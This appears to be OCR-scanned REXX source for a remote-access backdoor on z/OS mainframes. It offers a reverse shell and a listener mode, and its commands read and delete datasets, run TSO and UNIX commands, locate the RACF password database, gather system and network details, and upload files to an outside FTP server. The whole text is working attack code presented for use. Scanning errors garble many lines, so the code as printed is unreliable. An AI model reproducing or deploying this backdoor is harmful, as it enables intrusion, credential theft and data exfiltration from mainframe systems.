DO
PARSE SOURCE.. ... name.
say "No arguments passed! Run this as either server or client:"
say "Reverse Shell: "||name||" R IP PORT"
say ‘"Listener Shell: "|[name||" L PORT"
END
EXIT 4

END /* End the arguments parser */

MATT_DAEMON: /* Starts the listener mode */

parse arg port

terp = SOCKET(INITIALIZE',DAEMON',2)

[* terp is short for z - terpreter */

parse var  terpterp_rc.

IF terp_rc <> 0 THEN

DO
if verbose then say "[!] Couldn't create socket
exit 1

END

terp = Socket('GetHostld")

parse var terp socket rc MF_IP .

terp = Socket('Gethostname")

parse var terp src hostname

[* setup the socket */
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terp = SOCKET('SOCKET")

parse var terp socket_rc socketID .

if socket_rc <> 0 then

DO
if verbose then say "[!] Socket FAILED with info:" terp
terp = SOCKET('TERMINATE')
exit 1

END

/* Se tup: ASCII conversion, Reuse, no linger and non - blocking */

terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_REUSEADDR','ON")
terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_LINGER','OFF")
terp = Socket('IOCTL',socketID,'FIONBIO','ON")
terp = Socket('BIND',socketID,'AF_INET' port MF_IP)
parse var terp connect_rc rest
if connect_rc <> 0 then
DO
if verbose then say "['] Bind Failed:" terp
CALL DAVID_COULIER(1)
END
if verbose then say "['] IP" MF_IP "and Port" port "opened"”
terp = Socket('Listen’,socketID,2)
parse var terp src .
if src > 0 then DAVID_COULIER(1)
if verbose then say '[+] Server Ready'

clients ="
DO FOREVER /* Like, forever forever? A: Yes. */
terp = Socket(’ Select','READ' socketID clients 'WRITE' 'EXCEPTION")

parse upper var terp 'READ' readin '"WRITE' writtin 'EXCEPTION' exceptin

IF INLIST(socketID,readin) THEN /* see if we have a new socket */
DO

terp = Socket(‘Accept’,socketID)

parse var terp src hackerID . hport hip

if verbose then say "['] Connection from "||hip||":"||hport

clients = hackerID

if verbose then say '[+] Hacker socket ID' clients

terp = Socket('Socketsetstatus")

parse var terp src . status

if verbose then say '[+] Current Status' status

terp = Socket('Setsockopt',hackerID,'SOL_SOCKET','SO_ASCII',/ON"

terp = Socket(‘loctl',hackerID,'FIONBIO','ON")
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terp = SOCKET('SEND',hackerID, "Enter command or 'help'> ")
END /* end new co nnection check */
/* If the READ is our hacker socket ID then do all the goodness */
/* since there's only one socket allowed, it will only be that id */
if readin = hackerID THEN
DO
ARNOLD = commando(hackerID) /* get the command */
if ve  rbose then say "[+] Commands received: "||ARNOLD
parse = CHOPPA(hackerID,ARNOLD) /* Get the cmd to da choppa! */
END
END /* OK not forever */

return O

RIVER_SONG: /* Get it? Reverse Con? Yea you got it! */
PARSE ARG rhost, rport
terp=  SOCKET(INITIALIZE','CLIENT',2)
[* terp is short for z - terpreter */
terp = SOCKET('SOCKET',2,'STREAM','TCP")
parse var terp socket_rc socketID .
if socket_rc <> 0 then
do
if verbose then say "[!] Socket FAILED with info:" terp
terp = SOCKET('TERMINATE')
exit 1
end
/* Okay now we setup so it can do EBCDIC to ASCII conversion */
terp = SOCKET('SETSOCKOPT',socketID,'SOL_SOCKET','SO_ASCII','On’)
parse var terp ascii_rc .
if ascii_rc <> 0 then
do
if verbose then say "[!] Setting ASCII mode failed:" terp
exit 1
end
terp = SOCKET('SOCKETSETSTATUS','CLIENT")
if verbose then say "[+] Socket Status is" terp
terp = SOCKET('CONNECT',socketID,'AF_INET' rport rhost)
parse va rterp connect_rc rest
if connect_rc <> 0 then
do
if verbose then say "[!] Connection Failed:" terp
CALL DAVID_COULIER(4)
end
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if verbose then say "[!] Connection Established to",
rhost||":"||rport
ter p = SOCKET('SEND',socketID, "Enter command or 'help'> ")

DO FOREVER /* The never end storyyyyy */
ARNOLD = commando(socketID) /* get the command */
if verbose then say "[+] Commands received: "||ARNOLD
parse = CHOPPA(socketID,ARNOLD ) /* get the cmd to da choppa! */
END /* Atreyu! */
return O

DAVID_COULIER: /* CUT. IT. OUT. */
parse arg exito .
terp = SOCKET('CLOSE',socketID)
EXIT exito

return O

CHOPPA:
parse arg socklD, do_it
parse var do_it do_it do_commands
/*  We have our socket and commands not lets do this */
SELECT
WHEN do it = 'sysinfo' THEN
DO
send_it = GET_OS_INFO()
if verbose then say '[!] Sending OS Info'
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = 'cat' THEN
DO
send_it = CAT_FILE(do_commands)
if verbose then say '[!] Catting file' do_commands
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = 'cd' THEN
DO
if verbose then say '[!] CD to' do_commands
send_it = NEWLINE||"cd to "[|do_commands||[NEWLINE
pwd = do_commands
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = 'pwd' THEN
DO
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send_it = NEWLINE||UPPER(pwd)|[NEWLINE
if verbose then say '[!] Sending PWD of:' pwd

terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it ="'Is' THEN
DO

IF do_command s =" THEN

send_it = LS(sockID,pwd)
ELSE
send_it = LS(socklD,do_commands)

if verbose then say '[!] Sending LS COMMAND'

terp = SOCKET('SEND',sockID, send_it||[NEWLINE)
END
WHEN do_it='c  p' THEN
DO

send_it = CP(do_commands)

if verbose then say '[!] Copying' do_commands

terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it ='del' | do_it = 'delete’ THEN
DO

send it = DELETE(do_commands)

if verbose then say '[!] Deleting' do_commands

terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END

WHEN do _it = 'unix' THEN

DO
send_it = UNIX_COMMAND(do_commands)
if verbose then say '[!] Sending UNIX COMMAND'
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)

END
WHEN do_it = 'tso' | do_it = 'execute' THEN
DO
send_it = TSO_COMMAND(do_commands)
if verbose then say '[!] Executing TSO Command' do_commands
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = 'ftp' THEN
DO
send_it = UPLOAD_FILE(do_commands)
if verbose then say '[!] Using FTP to upload to' do_commands

terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)

B Cmainframed?67 B mainframed?67.tumblr.com




END
WHEN do _it = 'getuid' THEN
DO
send_it = GET_UID()
if verbose then say '[!] Sending UID'
terp = SOCKET('SEND',sockID, send_it||[NEW LINE)
END
WHEN do _it = 'Ismem' THEN
DO

IF do_commands =" THEN
send_it=LS_MEMBERS(pwd)
ELSE
send it =LS_MEMBERS(do_commands)
if verbose then say '[!] Sending Members'
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = "ipconfig' | do_it = "ifconfig' THEN
DO
send_it = GET_IP_INFO()
if verbose then say '[!] Sending IP Info'
terp = SOCKET('SEND',s ockID, send_it||[NEWLINE)
END
WHEN do _it = 'racf' THEN
DO
send_it = GET_RACFDB()
if verbose then say '[!] Sending RACF Database Dataset Name'
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it = 'help' THEN
DO
send_it = GET_HELP()
if verbose then say '[!] Sending Help'
terp = SOCKET('SEND',sockID, send_it||[ NEWLINE)
END
WHEN do_it ='quit' | do_it = 'exit' THEN
DO
if verbose then say '[!'] POP POP!"
CALL DAVID_COULIER(0) /* jackalope */
END
OTHERWISE /* The end of our options */
if verbose then say '[!] Unrecognized Command'
END /* End the select section */
terp = SOCKET('SEND',sockID, "Enter command or 'help'> ")
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return O

INLIST: procedure
arg sock, socklist

DO i = 1 to words(socklist)
if words(socklist) =0
then return O
if sock = word(sockilist,i)
then return 1
end

return O

commando: /*G ET IN DA CHOPPA */
parse arg socket_to_use
/* get commands */
choppa ="
sox = SOCKET('RECV',socket_to_use,10000)
parse var sox s_rc s_type s_port s_ip s_results
parse var sox s_rc s_data_len s_data_text
if s_rc <> 0 then
do
if verbose then say "[!] Couldn't get data"
CALL DAVID_COULIER(1)
end
[* Strip off the last byte cause it's all weird */
chopper = DELSTR(s_data_text, LENGTH(s_data_text))
return chopper

GET_UID: /* returns the UID */
text = NEWLINE||"Mainframe userID: "||userid()|[NEWLINE
return text

GET_IP_INFO:

/* Uses TSO command 'netstat home' to get IP config */

/* Requires TSO segment */
x = OUTTRAP('var.")
address tso "NETSTAT HOME"
parse var var.1 al a2 a3 a4 a 5 a6 a7 a8 type .
text = NEWLINE||"TCP/IP Name:" type|[NEWLINE
IPADDR = SOCKET('GETHOSTID")
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parse var IPADDR ip_rc ip_addr
text = text||"Connected using IP Address: "||lip_addr|[NEWLINE|[NEWLINE
i=1
DOi=5TO var.0
parse var var.i garbage ip_addr link flag_sp
flag = SPACE(flag_sp,0)

text = text||"Interface "|[j||[NEWLINE||"=========="||NEWLINE,
"Name :"[[link| NEWLINE,

"IPv4 Address : "||ip_addr|[NEWLINE,

"Flag :"||flag|[INEWL INE||[NEWLINE

j=j+1

end
x = OUTTRAP(OFF)
return text

GET_RACFDB:
[* Gets the dataset (aka file) name of the RACF database */
/* This requires a TSO segment */

x = OUTTRAP('var.")

address tso "RVARY LIST"

parse var var.4 activel usel numl volumel datasetl sp
parse var var.5 active2 use2 numz2 volume?2 dataset2_sp
datasetl = SPACE(datasetl_sp,0)

dataset2 = SPACE(dataset2_sp,0)

if usel ='PRIM' then

text = NEWLINE]||"Primary"||[NEWLINE||"========"|INEWLINE
else

text = NEWLINE||"Backup"||[NEWLINE||"'========"||NEWLINE

text = text||" Active : "||activel||[NEWLINE,

"FileName : "||datasetl||[NEWLINE|[NEWLINE
if use2 ='PRIM' then

text = text||"Primary"|[NEWLINE||"========"||NEWLINE
else

text = text||"Backup”|[INEWLINE||"========"||NEWLINE

text = text||" Active : "||active2||[NEWLINE,

"Filename : "||dataset2|]|NEWLINE
x = OUTTRAP(OFF)
return text

UNIX_COMMAND:
/* Executes a UNIX command (aka OMVS) */
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parse arg unix_command
CALL BPXWUNIX unix_command,,out.
text = "|[INEWLINE /* blank out text */
DOi=1TO out.0
text = text||out.i||[NEWLINE
END
return text

TSO_COMMAND:
/* outputs the results of a TSO command */

parse argtso_do
text = NEWLINE||"Issuing TSO Command: "||tso_do||[NEWLINE
u = OUTTRAP('tso_out.")
ADDRESS TSO tso_do
u = OUTTRAP(OFF)
DOi=1totso_out.0
text = text||tso_out.i||[NEWLINE
END
return text

GET_OS_INFO:

/* z/OS Operating System Information */
/* Lots of help from the LPINFO script from */
/* www.longpelaexpertise.com.au */

cvtaddr = get_dec_addr(16)
Z0s_name = Strip(Storage(D2x(cvtaddr+340),8))
ecvtaddr = get_dec_addr(cvtaddr+140)
zos_ver = Strip(Storage(D2x(ec vtaddr+512),2))
zos_rel = Strip(Storage(D2x(ecvtaddr+514),2))
sysplex = Strip(Storage(D2x(ecvtaddr+8),8))
jes_p = SYSVAR('SYSJES))
parse var jes_p jes .
jes_node = jes||' (Node: '|| SYSVAR('SYSNODE")||"'
security_node = get_security syst em(cvtaddr+992)
text = NEWLINE,

"Computer :LPAR "|| zos_name|[NEWLINE,

"Sysplex :"||sysplex||NEWLINE,

"OS : z/OS" zos_ver||.||zos_rel|[NEWLINE,
"Job Entry :"||jes_node||[NEWLINE,

"Security :"||s ecurity_node||[NEWLINE,

"Meterpreter : z/OS REXX"||NEWLINE
return text
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get_dec_addr: /* Needed for GET_OS_INFO */
parse arg addr
hex_addr = d2x(addr)
stor = Storage(hex_addr,4)
hex_stor = c2x(stor)
value = x2d(hex_stor)

return value

get_security_system: /* needed for GET_OS_INFO */
parse arg sec_addr
cvtrac = get_dec_addr(sec_addr)
rcvtid = Storage(d2x(cvtrac),4)
if revtid = 'RCVT' then return 'RACF'

if revtid ='RTSS' then return 'CA Top Secret'
if revtid = 'ACF2' then return 'CA ACF2'
return O
CAT_FILE:

[* Cats a file and returns it to the screen */
parse arg meow .
cat = STRIP(meow)
ADDRESS TSO "ALLOC F(intemp) DSN("||cat||") SHR"
ADDRESSTSO "EXECIO * DISKR intemp (FINIS STEM TIGER."
ADDRESS TSO "free file(intemp)"
text = NEWLINE||'File: '||meow||[NEWLINE
text = text||'File Length: '|| TIGER.O||[NEWLINE
DOi=1TO TIGER.O
text = text||TIGER.i||[NEWLINE

END
return text

CP: /* Uses a JCL to copy one file to the other */

parse arg from_DS to_DS

IFto_DS =" THEN

DO
text = NEWLINE]||"cp command requires a to and a from.",

"You only supplied: "|[from_DS||INEWLINE

return text

END

DROPBUF 0

queue "//CPTHATS EXEC PGM=IEBGENER"

queue "//SYSPRINT DD SYSOUT=*"

queue "//SYSIN DD DUMMY"
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queue "//SYSUT1 DD DSN="||from_DS||",DISP=SHR"

queue "//SYSUT2 DD DSN="||to_DS||","

queue "//  LIKE="||/from_DS||","

queue "// DISP=(NEW,CATLG,DELETE),"

queue "//  UNIT=SYSDA"

queue "/*"

gueue "@#"

v = OUTTRAP('sub.")

ADDRESS TSO "SUB * END(@#)"

v = OUTTRAP(OFF)
text = NEWLINE]|"File "||from_DS||" copied to "||[to_DS||INEWLINE
return text

DELETE:

/* Deletes a file or dataset member */

parse arg deleteme .

IF deleteme =" THEN

DO
text = NEWLINE]||"You didn't supply a dataset to delete"
return text

END

d = OUTTRAP('tdel."

ADDRESS TSO "DELETE "|| deleteme||™"

/* if you don't put " around a dataset it prepends your userid */

d = OUTTRAP(OFF)

text = NEWLINE

DO i=1totdel.0
text = text||[NEWLINE]||tdel.i

END

return text

UPLOAD_FILE:

/* Uploads a file from the mainframe to an FTP server */

/* 1t submits a JOB which uploads the file */

/* FYI this doesn't always work with a debian FTP server */
parse arg ftp_server username password dataset binary .
DROPBUF 0 /* clear the buffer */
queue "//[FTP  EXEC PGM=F TR,"
queue "// PARM="||ftp_server||" (EXIT""
queue "//[SYSMDUMP DD SYSOUT=*"
queue "//SYSPRINT DD SYSOUT=*"
queue "//INPUT DD * "
qgueue username
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gueue password
if binary = "binary" then queue put "binary"

m mn

queue "put
gueue "quit "
queue "/*"
gueue "@#"
ADDRESS TSO "SUB * END(@#)"
text = NEWLINE]||"Uploading file "||dataset||" to "||ftp_server,
"using user name"||username]||"."
if binary = "binary" then
text = text||" Using Binary transfer mode."
else
text = text||" Not using Binary transfer mode."
return text

||dataset]||

LS:
/* Lists datasets given a high level qualifier (hlqg) */
parse arg suckit, hilevel .
filez = STRIP(hilevel)
IFfil ez ="then filez = USERID()
hedr = NEWLINE]||" Listing Files: " filez||".*"|[NEWLINE,

terp = SOCKET('SEND',suckit, hedr)

text = NEWLINE

b = OUTTRAP(Is_cmd.")

ADDRESS TSO "LISTC LEVEL("||filez||")"
b = OUTTRAP(OFF)

filed = 1
DOi=1tols_cmd.0
IF filed THEN
DO
text = text||ls_cmd.i||[NEWLINE
filed =0
END
ELSE
filed = 1
END

return text

LS _MEMBERS:
[* Lists datasets given a 'high level qualifier, or HLQ */
parse arg hilevelmem .

"[INEWLINE
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text = NEWLINE
x = OUTTRAP('members.")
ADDRESS TSO "LISTDS "||hilevelmem||" members"
x = OUTTRAP(OFF)
DO i =7 TO members. 0
members.i = STRIP(members.i)
text = text||' -- > ||hilevelmem]||"("||members.i||")"||[NEWLINE
END
return text

UPPER:

/* Of all the built - in functions, this isn't one of them */
PARSE UPPER ARG STRINGED
return STRINGED

GET_HELP:
/* Help command */

help = NEWLINE,

"Core Commands"|[NEWLINE,
============="||INEWLINE||NEWLINE,

" Command Description”|[NEWLINE,

R "[INEWLINE,
" help Help Menu"||[INEWLINE,

" exit Terminate the session"||NEWLINE,

" quit Terminate the session"||[NEWLINE,

NEWLINE||[NEWLINE,
"Filesystem Commands"||[NEWLINE,
":::::::::::::::::::"l|NEWL|NE||NEWL|NE,

" Command Description”|[NEWLINE,

R "[INEWLINE,

" cat Show contents of dataset"||[NEWLINE,

"cp copies a file to a new file"||[NEWLINE,

" s list datasets in HLQ"||[NEWLINE,

" delete deletes a file"||NEWLINE,

" del also deletes a file"||NEWLINE,

" Ismem Lists files and members",

" IIWARNING!! Takes time a nd 10"|[NEWLINE,

NEWLINE|[NEWLINE,

"Networking Commands"||NEWLINE,
":::::::::::::::::::"l|NEWL|NE||NEW|_|NE,

" Command Description”|[NEWLINE,

e e "|INEWLINE,

" ipconfig Display interfaces"||NEWLINE,
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ifconfig Display interfaces"||[NEWLINE,
NEWLINE|[NEWLINE,

"System Commands"||[NEWLINE,
":::::::::::::::"”NEWLlNE”NEWLlNE,

" Command Description”|[NEWLINE,

e e "|INEWLINE,

" getuid Get current user name"||[NEWLINE,

" sysinfo Remote system info (i.e OS)"||[NEWLINE,

" racf Show password database location",

NEWLINE,

" execute Execute a TSO command"||[NEWLINE,

" tso Execute TSO command (same as execute)",

NEWLINE,

" unix UNIX command (i.e Is - al)"|INEWLINE,
" ftp Upload a file from t he mainframe to",
NEWLINE,

" an FTP server. Syntax is:"||[NEWLINE,
" host/ip user pass filename [binary]",
NEWLINE|[NEWLINE

return help
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